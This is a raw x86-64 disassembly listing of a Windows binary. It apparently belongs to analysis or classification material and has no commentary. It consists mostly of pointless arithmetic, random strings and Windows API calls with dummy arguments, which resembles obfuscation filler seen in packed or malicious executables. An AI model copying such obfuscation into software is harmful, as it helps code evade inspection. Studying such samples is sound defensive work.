add rax, rcx
mov qword [rsp + 0xb310], rax
movzx eax, byte [rsp + 0x2fe]
movzx ecx, byte [rsp + 0x232]
xor eax, ecx
mov byte [rsp + 0x377], al
mov eax, dword [rsp + 0x465c]
movzx ecx, al
mov eax, dword [rsp + 0x571c]
shl eax, cl
mov dword [rsp + 0x5764], eax
mov rax, qword [rsp + 0xb228]
mov rcx, qword [rsp + 0xb220]
mov qword [rsp + 0xb328], rcx
movzx ecx, al
mov rax, qword [rsp + 0xb328]
mov rax, qword [rax]
shr rax, cl
mov qword [0x1401e34f0], rax
mov rax, qword [rsp + 0xb1f0]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x379]
or eax, ecx
mov byte [rsp + 0xe7], al
mov eax, dword [rsp + 0x56fc]
mov ecx, dword [rsp + 0x5754]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x4bd4], eax
movzx eax, word [rsp + 0x1bc0]
mov rcx, qword [rsp + 0xb2f0]
movzx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0x1b84], ax
mov rax, qword [rsp + 0xb2f0]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x1ba8]
sub eax, ecx
mov word [rsp + 0x188c], ax
movzx eax, byte [0x1401a803a]
movzx ecx, byte [rsp + 0x115]
add eax, ecx
mov byte [rsp + 0x377], al
mov eax, dword [rsp + 0x57a8]
add eax, 0x6d
mov dword [rsp + 0x57a8], eax
movsx eax, word [rsp + 0x1b80]
movsx ecx, word [rsp + 0x1b94]
sub eax, ecx
mov word [rsp + 0x1bb8], ax
mov rax, qword [rsp + 0xb260]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x1bb4]
sub eax, ecx
mov word [rsp + 0x1bb8], ax
mov rcx, qword [rsp + 0xb2c8]
call qword [sym.imp.KERNEL32.dll_SetEndOfFile]
mov dword [rsp + 0x5770], eax
mov eax, dword [rsp + 0x5758]
mov ecx, dword [rsp + 0x465c]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x57b8], eax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_InitAtomTable]
mov rax, qword [rsp + 0xb220]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x91a0]
add rcx, rax
mov rax, rcx
mov qword [0x1401e34f0], rax
mov eax, dword [rsp + 0x56fc]
mov ecx, dword [rsp + 0x4bd4]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x5754], eax
movsx eax, word [0x1401a8374]
movsx ecx, word [rsp + 0x1ba0]
and eax, ecx
mov rcx, qword [rsp + 0xb260]
mov word [rcx], ax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_EscapeCommFunction]
mov rax, qword [rsp + 0xb2f0]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xb288]
movzx ecx, word [rcx]
or eax, ecx
mov word [rsp + 0x188c], ax
movzx eax, byte [rsp + 0x377]
movzx ecx, byte [rsp + 0x2fe]
sar eax, cl
mov byte [rsp + 0x378], al
movzx ecx, word [rsp + 0x1bbc]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x1bc4], ax
mov rax, qword [rsp + 0x9bb8]
mov rcx, qword [rsp + 0xab58]
xor rcx, rax
mov rax, rcx
mov qword [rsp + 0xb320], rax
mov rax, qword [rsp + 0xb320]
movzx ecx, al
mov rax, qword [0x1401a8380]
shl rax, cl
mov qword [rsp + 0xb1f8], rax
mov rax, qword [rsp + 0xb258]
mov rcx, qword [rsp + 0xb320]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0xb298]
mov qword [rcx], rax
movzx eax, word [rsp + 0x1b84]
mov rcx, qword [rsp + 0xb2f0]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x1b8c], ax
mov rax, qword [rsp + 0xb1f0]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0xe7]
and eax, ecx
mov byte [0x1401a8038], al
mov eax, dword [rsp + 0x57b8]
mov ecx, dword [rsp + 0x5764]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x465c], eax
mov eax, dword [rsp + 0x57ac]
mov ecx, dword [rsp + 0x4bd4]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x5754], eax
mov rax, qword [0x1401e34f0]
mov rcx, qword [rsp + 0xb268]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x91a0], rax
movsx eax, word [rsp + 0x1b80]
mov rcx, qword [rsp + 0xb260]
movsx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x1bb0], ax
movzx eax, byte [rsp + 0x33b]
movzx ecx, byte [rsp + 0x115]
add eax, ecx
mov byte [rsp + 0x377], al
mov rax, qword [rsp + 0xb260]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x1b94]
sub eax, ecx
mov rcx, qword [rsp + 0xb260]
mov word [rcx], ax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_LocalShrink]
lea rcx, [rsp + 0x19370]
call qword [sym.imp.KERNEL32.dll_GetNativeSystemInfo]
mov rax, qword [rsp + 0xb2f0]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x1bc0]
sub eax, ecx
mov word [rsp + 0x1b90], ax
mov rcx, qword [rsp + 0xb230]
call qword [sym.imp.KERNEL32.dll_ResetEvent]
movzx eax, byte [rsp + 0x115]
movzx ecx, byte [rsp + 0x232]
add eax, ecx
mov byte [rsp + 0x378], al
mov rax, qword [rsp + 0xb220]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xb308]
mov qword [rsp + 0xb330], rcx
movzx ecx, al
mov rax, qword [rsp + 0xb330]
mov rax, qword [rax]
shr rax, cl
mov qword [0x1401e34f0], rax
mov eax, dword [rsp + 0x4a78]
mov ecx, dword [rsp + 0x5798]
xor ecx, eax
mov eax, ecx
mov dword [rsp + 0x465c], eax
mov eax, dword [rsp + 0x4bd4]
movzx ecx, al
mov eax, dword [rsp + 0x57ac]
shl eax, cl
mov dword [rsp + 0x5754], eax
mov rax, qword [rsp + 0xb280]
mov rcx, qword [rsp + 0xb298]
mov rcx, qword [rcx]
mov rax, qword [rax]
or rax, rcx
mov rcx, qword [rsp + 0xb280]
mov qword [rcx], rax
mov rax, qword [rsp + 0xb288]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x1b90]
and eax, ecx
mov word [rsp + 0x1ba8], ax
lea rcx, str.XmZy1jE
call qword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [rsp + 0x1ba4], ax
movsx eax, word [rsp + 0x1b9c]
mov rcx, qword [rsp + 0xb260]
movsx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x1bb8], ax
movzx eax, byte [rsp + 0x2fe]
movzx ecx, byte [rsp + 0x33b]
add eax, ecx
mov byte [rsp + 0x377], al
cmp dword [rsp + 0x57a8], 0x7c0f
jbe 0x1400147b7
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_DecodePointer]
mov dword [rsp + 0x57d8], 0x9275
mov rax, qword [rsp + 0xb1f0]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0xe7]
and eax, ecx
movsx ecx, byte [rsp + 0x379]
movsx edx, byte [0x1401a8038]
sub ecx, edx
cmp eax, ecx
jle 0x140014db2
movsx eax, byte [rsp + 0x379]
mov rcx, qword [rsp + 0xb1f0]
movsx ecx, byte [rcx]
shl eax, cl
mov byte [0x1401a8039], al
mov rax, qword [rsp + 0x91a0]
movzx ecx, al
mov rax, qword [rsp + 0xb268]
shr rax, cl
mov rcx, qword [rsp + 0xb308]
mov qword [rcx], rax
mov eax, dword [rsp + 0x57b8]
mov ecx, dword [0x1401e34f8]
or ecx, eax
mov eax, ecx
mov dword [rsp + 0x4a78], eax
movzx eax, byte [rsp + 0x232]
movzx ecx, byte [rsp + 0x2fe]
xor eax, ecx
mov byte [rsp + 0x377], al
movzx r9d, word [rsp + 0x1bc0]
mov r8, qword [rsp + 0xab58]
mov rax, qword [rsp + 0xb1f0]
movzx edx, byte [rax]
mov rcx, qword [rsp + 0xab58]
call fcn.14015bfb0
jmp 0x14015b71f
mov eax, dword [rsp + 0x5758]
mov ecx, dword [rsp + 0x5764]
add ecx, eax
mov eax, ecx
mov ecx, dword [rsp + 0x5798]
mov edx, dword [rsp + 0x4a78]
sub edx, ecx
mov ecx, edx
cmp eax, ecx
jl 0x14015b71f
cmp dword [rsp + 0x5760], 0x9f98
je 0x14001506b
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateFileMappingW]
lea rdx, [rsp + 0x1bd88]
mov rcx, qword [rsp + 0xb2c8]
call qword [sym.imp.KERNEL32.dll_GetFileInformationByHandle]
mov dword [rsp + 0x5788], eax
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
mov rax, qword [rsp + 0xb2f0]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xb288]
movzx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0x1b8c], ax
movsx eax, word [rsp + 0x1b80]
mov rcx, qword [rsp + 0xb260]
movsx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x1bb0], ax
mov rax, qword [rsp + 0xb298]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xb1f8]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0xb310], rax
mov rax, qword [rsp + 0xb298]
mov rcx, qword [rsp + 0xab18]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0xb210], rax
mov rax, qword [rsp + 0xb2f0]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xb288]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x1b84], ax
mov eax, dword [rsp + 0x5798]
mov ecx, dword [rsp + 0x4a78]
and ecx, eax
mov eax, ecx
mov dword [0x1401a8370], eax
mov eax, dword [rsp + 0x57ac]
mov ecx, dword [rsp + 0x4bd4]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x5754], eax
mov rax, qword [rsp + 0xb220]
mov rcx, qword [rsp + 0xb308]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0xb268], rax
movsx eax, word [0x1401a8374]
movsx ecx, word [rsp + 0x1ba0]
add eax, ecx
mov word [rsp + 0x1bb4], ax
mov rax, qword [rsp + 0xb1f0]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0xe7]
add eax, ecx
mov rcx, qword [rsp + 0xb1f0]
mov byte [rcx], al
mov rcx, qword [rsp + 0xb238]
call qword [sym.imp.KERNEL32.dll_SetEndOfFile]
mov dword [rsp + 0x5744], eax
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetFileAttributesExW]
mov eax, dword [rsp + 0x5760]
add eax, 0x1f
mov dword [rsp + 0x5760], eax
lea rdx, [rsp + 0xb218]
mov rcx, qword [rsp + 0xb2c8]
call qword [sym.imp.KERNEL32.dll_GetFileSizeEx]
mov dword [rsp + 0x57dc], eax
mov rax, qword [rsp + 0xb298]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xb280]
mov qword [rsp + 0xb338], rcx
movzx ecx, al
mov rax, qword [rsp + 0xb338]
mov rax, qword [rax]
sar rax, cl
mov qword [rsp + 0xab18], rax
mov rax, qword [rsp + 0xb1f0]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x379]
or eax, ecx
mov byte [rsp + 0xe7], al
movsx eax, word [rsp + 0x1bb4]
movsx ecx, word [0x1401a8374]
xor eax, ecx
mov rcx, qword [rsp + 0xb260]
mov word [rcx], ax
mov dword [rsp + 0x20], 0x3d4f
mov r9d, 0x18f0
mov r8d, 0x3e5
mov edx, 0x2c8a
mov rcx, qword [rsp + 0xb1d0]
call qword [sym.imp.KERNEL32.dll_UnlockFile]
mov dword [rsp + 0x5770], eax
movzx eax, word [rsp + 0x1bc0]
movzx ecx, word [rsp + 0x1b84]
shl eax, cl
mov rcx, qword [rsp + 0xb288]
mov word [rcx], ax
jmp 0x140014dde
movsx eax, word [rsp + 0x1bb4]
mov dword [rsp + 0x57e0], eax
cmp dword [rsp + 0x57e0], 0x24a
je 0x1400150f5
cmp dword [rsp + 0x57e0], 0x6b4
je 0x140015099
jmp 0x1400151b3
lea r8, [rsp + 0xb288]
mov edx, 0x4f
mov rcx, qword [rsp + 0xb208]
call qword [sym.imp.ole32.dll_OleRegGetUserType]
mov dword [rsp + 0x5778], eax
mov rax, qword [rsp + 0xb2f0]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x188c]
and eax, ecx
mov word [0x1401a8378], ax
mov eax, dword [rsp + 0x5758]
mov ecx, dword [rsp + 0x5764]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x465c], eax
jmp 0x1400151b3
mov rax, qword [rsp + 0xb308]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xb1e0]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0xb228], rax
movzx eax, word [rsp + 0x1ba8]
mov rcx, qword [rsp + 0xb2f0]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x1b90], ax
movzx eax, byte [rsp + 0x2fe]
movzx ecx, byte [rsp + 0x115]
sub eax, ecx
mov byte [rsp + 0x378], al
lea rdx, [rsp + 0xb1e0]
mov rcx, qword [rsp + 0xb200]
call qword [sym.imp.ole32.dll_CoGetTreatAsClass]
mov dword [rsp + 0x57e4], eax
mov rax, qword [rsp + 0xb288]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x1b84]
add eax, ecx
mov rcx, qword [rsp + 0xb2f0]
mov word [rcx], ax
mov rax, qword [rsp + 0xb280]
mov r9, qword [rax]
mov r8d, dword [rsp + 0x465c]
mov edx, dword [rsp + 0x57b8]
mov rax, qword [rsp + 0xb298]
mov rcx, qword [rax]
call fcn.14015c1e0
mov rax, qword [rsp + 0xb258]
mov qword [rsp + 0xb340], rax
movabs rax, 0x76ae758ae42651
cmp qword [rsp + 0xb340], rax
je 0x1400151dc
jmp 0x1400152b9
mov rax, qword [rsp + 0xb220]
mov rcx, qword [rsp + 0x91a0]
mov rax, qword [rax]
xor rax, rcx
mov qword [rsp + 0xb228], rax
mov eax, dword [rsp + 0x57ac]
movzx ecx, al
mov eax, dword [rsp + 0x56fc]
shl eax, cl
mov dword [rsp + 0x5754], eax
mov rax, qword [rsp + 0xb288]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xb2f0]
movzx ecx, word [rcx]
or eax, ecx
mov word [rsp + 0x1b84], ax
movzx eax, byte [rsp + 0x33b]
movzx ecx, byte [rsp + 0x378]
sar eax, cl
mov byte [rsp + 0x232], al
lea rax, [rsp + 0xb2d8]
mov qword [rsp + 0x20], rax
lea r9, [rsp + 0xb2f0]
mov r8d, 0xf
mov edx, 0x8e
mov ecx, 0xcd
call qword [sym.imp.ole32.dll_CoWaitForMultipleHandles]
mov dword [rsp + 0x570c], eax
movsx eax, byte [rsp + 0xe7]
movsx ecx, byte [rsp + 0x379]
and eax, ecx
mov rcx, qword [rsp + 0xb1f0]
mov byte [rcx], al
movsx eax, word [0x1401a8374]
movsx ecx, word [rsp + 0x1b94]
add eax, ecx
mov word [rsp + 0x1b80], ax
jmp 0x14015b691
movzx eax, byte [rsp + 0x2fe]
movzx ecx, byte [0x1401a803a]
add eax, ecx
movzx ecx, byte [rsp + 0x378]
movzx edx, byte [rsp + 0x232]
sub ecx, edx
cmp eax, ecx
jle 0x140015401
movzx eax, byte [rsp + 0x115]
mov byte [rsp + 0x57e8], al
cmp byte [rsp + 0x57e8], 0xa1
je 0x1400152ff
jmp 0x14001533f
mov rax, qword [rsp + 0xb298]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xb210]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0xb320], rax
movzx eax, word [rsp + 0x1bc0]
mov rcx, qword [rsp + 0xb2f0]
movzx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0x1b90], ax
jmp 0x140015388
mov rax, qword [rsp + 0xb308]
mov rax, qword [rax]
mov qword [0x1401e34e8], rax
mov rax, qword [rsp + 0xb1e0]
mov rcx, qword [0x1401e34f0]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x8bd8], rax
mov eax, dword [rsp + 0x57ac]
movzx ecx, al
mov eax, dword [rsp + 0x5754]
shr eax, cl
mov dword [rsp + 0x4bd4], eax
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetNamedPipeInfo]
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x20
mov dword [rsp + 0x20], 5
xor r9d, r9d
mov r8d, 4
mov edx, 0xc0000000
lea rcx, str.SPnFtye7PijfSBGWnRTsOfMlMJVW6T9Os
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rsp + 0xb348], rax
lea rax, [rsp + 0x5764]
mov qword [rsp + 0xb350], rax
movzx eax, word [rsp + 0x1bb8]
mov word [rsp + 0x1bc8], ax
jmp 0x140015518
mov rcx, qword [rsp + 0xb200]
call qword [sym.imp.ole32.dll_CoIsOle1Class]
mov dword [rsp + 0x57ec], eax
movzx eax, byte [rsp + 0x33b]
movzx ecx, byte [rsp + 0x377]
or eax, ecx
mov byte [rsp + 0x378], al
mov rax, qword [rsp + 0xab58]
movzx ecx, al
mov rax, qword [rsp + 0xb310]
shl rax, cl
mov qword [rsp + 0xb270], rax
movzx eax, byte [rsp + 0x378]
movzx ecx, byte [rsp + 0x115]
xor eax, ecx
mov byte [rsp + 0x377], al
movsx eax, word [rsp + 0x1b80]
mov rcx, qword [rsp + 0xb260]
movsx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x1ba0], ax
mov rax, qword [rsp + 0xb2f0]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x1b84]
and eax, ecx
mov word [0x1401a8378], ax
mov rax, qword [rsp + 0xb350]
mov ecx, dword [0x1401a8370]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x5764], eax
movsx eax, word [rsp + 0x1bb4]
movsx ecx, word [rsp + 0x1bc8]
add eax, ecx
mov rcx, qword [rsp + 0xb260]
mov word [rcx], ax
call qword [sym.imp.ole32.dll_CoResumeClassObjects]
mov dword [rsp + 0x5728], eax
mov rax, qword [rsp + 0x91a0]
mov rcx, qword [rsp + 0xb1e0]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x8bd8], rax
movsx eax, byte [rsp + 0x379]
movsx ecx, byte [0x1401a8038]
sub eax, ecx
mov byte [rsp + 0xe7], al
xor r9d, r9d
lea r8, [rsp + 0xb240]
mov rdx, qword [rsp + 0xb248]
mov rcx, qword [rsp + 0xb1d0]
call qword [sym.imp.KERNEL32.dll_SetFilePointerEx]
mov dword [rsp + 0x57f0], eax
mov eax, dword [rsp + 0x5758]
mov dword [rsp + 0x57f4], eax
cmp dword [rsp + 0x57f4], 0x1a6
je 0x14015b639
cmp dword [rsp + 0x57f4], 0x38e58000
je 0x140015571
jmp 0x14015b652
lea rax, [rsp + 0x1b84]
mov qword [rsp + 0xb358], rax
mov rax, qword [rsp + 0xb280]
mov rcx, qword [0x1401a8380]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0xb258], rax
mov dword [rsp + 0x57f8], 0x217b
mov rax, qword [rsp + 0xb350]
mov ecx, dword [rsp + 0x465c]
mov eax, dword [rax]
and eax, ecx
mov ecx, dword [rsp + 0x57b8]
mov edx, dword [rsp + 0x5798]
xor edx, ecx
mov ecx, edx
cmp eax, ecx
jge 0x14001567b
mov rcx, qword [rsp + 0xb238]
call qword [sym.imp.KERNEL32.dll_GetFileType]
mov dword [rsp + 0x573c], eax
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateEventW]
mov qword [rsp + 0xb360], rax
mov rax, qword [rsp + 0xb298]
mov rax, qword [rax]
mov qword [rsp + 0xb368], rax
xor edx, edx
mov eax, dword [rsp + 0x5754]
div dword [rsp + 0x4bd4]
mov dword [0x1401a8388], eax
lea rax, [rsp + 0x5758]
mov qword [rsp + 0xb370], rax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
mov rax, qword [0x1401e34f0]
mov rcx, qword [rsp + 0xb308]
mov qword [rsp + 0xb378], rcx
movzx ecx, al
mov rax, qword [rsp + 0xb378]
mov rax, qword [rax]
shr rax, cl
mov qword [rsp + 0xb268], rax
jmp 0x14001571a
mov rax, qword [rsp + 0xb2f0]
movzx eax, word [rax]
movzx ecx, word [0x1401a8378]
shl eax, cl
mov rcx, qword [rsp + 0xb358]
movzx ecx, word [rcx]
mov rdx, qword [rsp + 0xb288]
movzx edx, word [rdx]
or ecx, edx
cmp eax, ecx
jle 0x14001571a
mov eax, dword [0x1401a8388]
mov ecx, dword [rsp + 0x5754]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x57ac], eax
mov rax, qword [rsp + 0xb288]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xb2f0]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x1b90], ax
mov rax, qword [rsp + 0xb260]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x1b9c]
and eax, ecx
mov rcx, qword [rsp + 0xb260]
mov word [rcx], ax
mov edx, dword [rsp + 0x57ac]
mov rax, qword [rsp + 0xb220]
mov rcx, qword [rax]
call fcn.14015c130
movzx ecx, word [rsp + 0x1ba4]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x1b88], ax
movzx eax, byte [rsp + 0x33b]
movzx ecx, byte [rsp + 0x115]
imul eax, ecx
mov byte [rsp + 0x378], al
mov rax, qword [rsp + 0xb280]
mov rcx, qword [rsp + 0xab18]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x8ff0], rax
mov rax, qword [rsp + 0xb288]
movzx eax, word [rax]
mov dword [rsp + 0x57fc], eax
cmp dword [rsp + 0x57fc], 0
je 0x14001579a
cmp dword [rsp + 0x57fc], 0xced
je 0x14001592d
jmp 0x140015964
mov eax, dword [rsp + 0x5754]
mov ecx, dword [rsp + 0x57ac]
add ecx, eax
mov eax, ecx
mov ecx, dword [rsp + 0x56fc]
mov edx, dword [rsp + 0x4bd4]
sub edx, ecx
mov ecx, edx
cmp eax, ecx
ja 0x14001592b
mov rax, qword [rsp + 0xb280]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xa878]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x9bb8], rax
lea rax, [rsp + 0x1bb4]
mov qword [0x1401e34e0], rax
mov rax, qword [rsp + 0xb370]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x5764]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xb350]
mov edx, dword [rsp + 0x4a78]
mov ecx, dword [rcx]
add ecx, edx
cmp eax, ecx
jl 0x1400158f2
lea r9, [rsp + 0xb310]
mov r8, qword [rsp + 0xb2d0]
mov edx, 0x77
lea rcx, [rsp + 0xb298]
call qword [sym.imp.ole32.dll_BindMoniker]
mov dword [rsp + 0x5800], eax
movsx eax, word [rsp + 0x1b94]
mov rcx, qword [rsp + 0xb260]
movsx ecx, word [rcx]
or eax, ecx
mov word [rsp + 0x1bb8], ax
mov eax, dword [rsp + 0x57ac]
movzx ecx, al
mov eax, dword [rsp + 0x56fc]
shr eax, cl
mov dword [rsp + 0x5754], eax
mov rax, qword [rsp + 0xb308]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xb220]
mov qword [rsp + 0xb380], rcx
movzx ecx, al
mov rax, qword [rsp + 0xb380]
mov rax, qword [rax]
shl rax, cl
mov qword [rsp + 0xb1e0], rax
movsx eax, byte [rsp + 0xe7]
movsx ecx, byte [0x1401a8039]
xor eax, ecx
mov byte [rsp + 0x379], al
mov rax, qword [rsp + 0xb350]
mov rcx, qword [rsp + 0xb370]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x4a78], eax
jmp 0x14001592b
mov rax, qword [rsp + 0xb370]
mov ecx, dword [rsp + 0x571c]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0xb350]
mov ecx, dword [rcx]
mov edx, dword [rsp + 0x465c]
sub edx, ecx
mov ecx, edx
cmp eax, ecx
jge 0x14001592b
call qword [sym.imp.ole32.dll_CoImpersonateClient]
mov dword [rsp + 0x5804], eax
jmp 0x140015964
movzx eax, word [rsp + 0x188c]
movzx ecx, word [rsp + 0x1b84]
add eax, ecx
mov word [rsp + 0x1b8c], ax
movzx eax, word [rsp + 0x1b90]
mov rcx, qword [rsp + 0xb2f0]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x1ba8], ax
lea rax, [rsp + 0x377]
mov qword [rsp + 0xb388], rax
mov eax, dword [0x1401a8388]
mov ecx, dword [rsp + 0x5754]
and ecx, eax
mov eax, ecx
mov dword [0x1401a838c], eax
mov rax, qword [rsp + 0xb260]
movzx eax, word [rax]
mov word [rsp + 0x1bcc], ax
lea rax, [rsp + 0x33b]
mov qword [rsp + 0xb390], rax
mov eax, dword [rsp + 0x5754]
imul eax, dword [rsp + 0x56fc]
mov dword [rsp + 0x4bd4], eax
mov rax, qword [rsp + 0xb1e0]
mov rcx, qword [0x1401e34f0]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0xb268], rax
mov eax, dword [rsp + 0x5798]
mov ecx, dword [rsp + 0x5758]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xb350]
mov rdx, qword [rsp + 0xb370]
mov edx, dword [rdx]
mov ecx, dword [rcx]
sub ecx, edx
cmp eax, ecx
je 0x140015bb3
mov eax, dword [rsp + 0x4a78]
mov dword [rsp + 0x5808], eax
mov rax, qword [rsp + 0xb388]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x115]
sar eax, cl
mov byte [rsp + 0x33b], al
mov rax, qword [rsp + 0xb388]
movzx eax, byte [rax]
mov byte [rsp + 0x580c], al
cmp byte [rsp + 0x580c], 0x63
je 0x140015a5c
jmp 0x140015b86
mov rax, qword [rsp + 0xb2f0]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x1b8c]
xor eax, ecx
mov rcx, qword [rsp + 0xb358]
mov word [rcx], ax
mov rax, qword [rsp + 0xb260]
movsx eax, word [rax]
mov rcx, qword [0x1401e34e0]
movsx ecx, word [rcx]
or eax, ecx
mov word [rsp + 0x1b80], ax
mov r8d, 0x10
mov rdx, qword [rsp + 0xb398]
mov rcx, qword [rsp + 0xb3a0]
call fcn.14016a160
test eax, eax
jne 0x140015ac7
mov dword [rsp + 0x5810], 1
jmp 0x140015ad2
mov dword [rsp + 0x5810], 0
mov eax, dword [rsp + 0x5810]
mov dword [rsp + 0x5814], eax
mov rax, qword [rsp + 0xb280]
mov rax, qword [rax]
movzx ecx, al
mov rax, qword [rsp + 0xab18]
shl rax, cl
mov qword [0x1401a8380], rax
mov rax, qword [0x1401e3500]
mov rcx, qword [rsp + 0xb1f8]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0xb258], rax
mov rax, qword [rsp + 0xb298]
mov rcx, qword [rsp + 0xb280]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0xab58], rax
movsx eax, word [rsp + 0x1b80]
mov rcx, qword [rsp + 0xb260]
movsx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x1bc8], ax
mov rax, qword [rsp + 0xb1f0]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x379]
add eax, ecx
mov byte [rsp + 0xe7], al
movzx ecx, byte [rsp + 0x379]
call fcn.14015bf50
jmp 0x140015bae
mov dword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetNamedPipeHandleStateA]
jmp 0x140015cf7
mov rax, qword [rsp + 0xb370]
mov rcx, qword [rsp + 0xb350]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov ecx, dword [rsp + 0x57b8]
mov edx, dword [rsp + 0x5798]
add edx, ecx
mov ecx, edx
cmp eax, ecx
jne 0x140015cf7
lea rax, [rsp + 0xb210]
mov qword [rsp + 0x38], rax
mov dword [rsp + 0x30], 0xbf
lea rax, [rsp + 0x8bd8]
mov qword [rsp + 0x28], rax
mov dword [rsp + 0x20], 0xd0
mov r9d, 0xfd
lea r8, [rsp + 0xb1f0]
lea rdx, [rsp + 0xb268]
lea rcx, [rsp + 0x188c]
call qword [sym.imp.ole32.dll_CoGetInstanceFromFile]
mov dword [rsp + 0x5728], eax
mov rax, qword [rsp + 0xb308]
mov rcx, qword [rsp + 0xb228]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x8bd8], rax
mov rax, qword [rsp + 0xb350]
mov ecx, dword [rsp + 0x465c]
mov eax, dword [rax]
and eax, ecx
mov rcx, qword [rsp + 0xb350]
mov dword [rcx], eax
mov eax, dword [rsp + 0x57ac]
mov ecx, dword [rsp + 0x5754]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x4bd4], eax
movzx eax, word [rsp + 0x1ba8]
movzx ecx, word [rsp + 0x1b90]
add eax, ecx
mov word [rsp + 0x188c], ax
lea rdx, [rsp + 0xb298]
mov rcx, qword [rsp + 0xb3a8]
call qword [sym.imp.ole32.dll_CLSIDFromString]
mov dword [rsp + 0x5708], eax
mov rax, qword [0x1401e34f0]
mov qword [rsp + 0x20], rax
mov r9, qword [rsp + 0xb268]
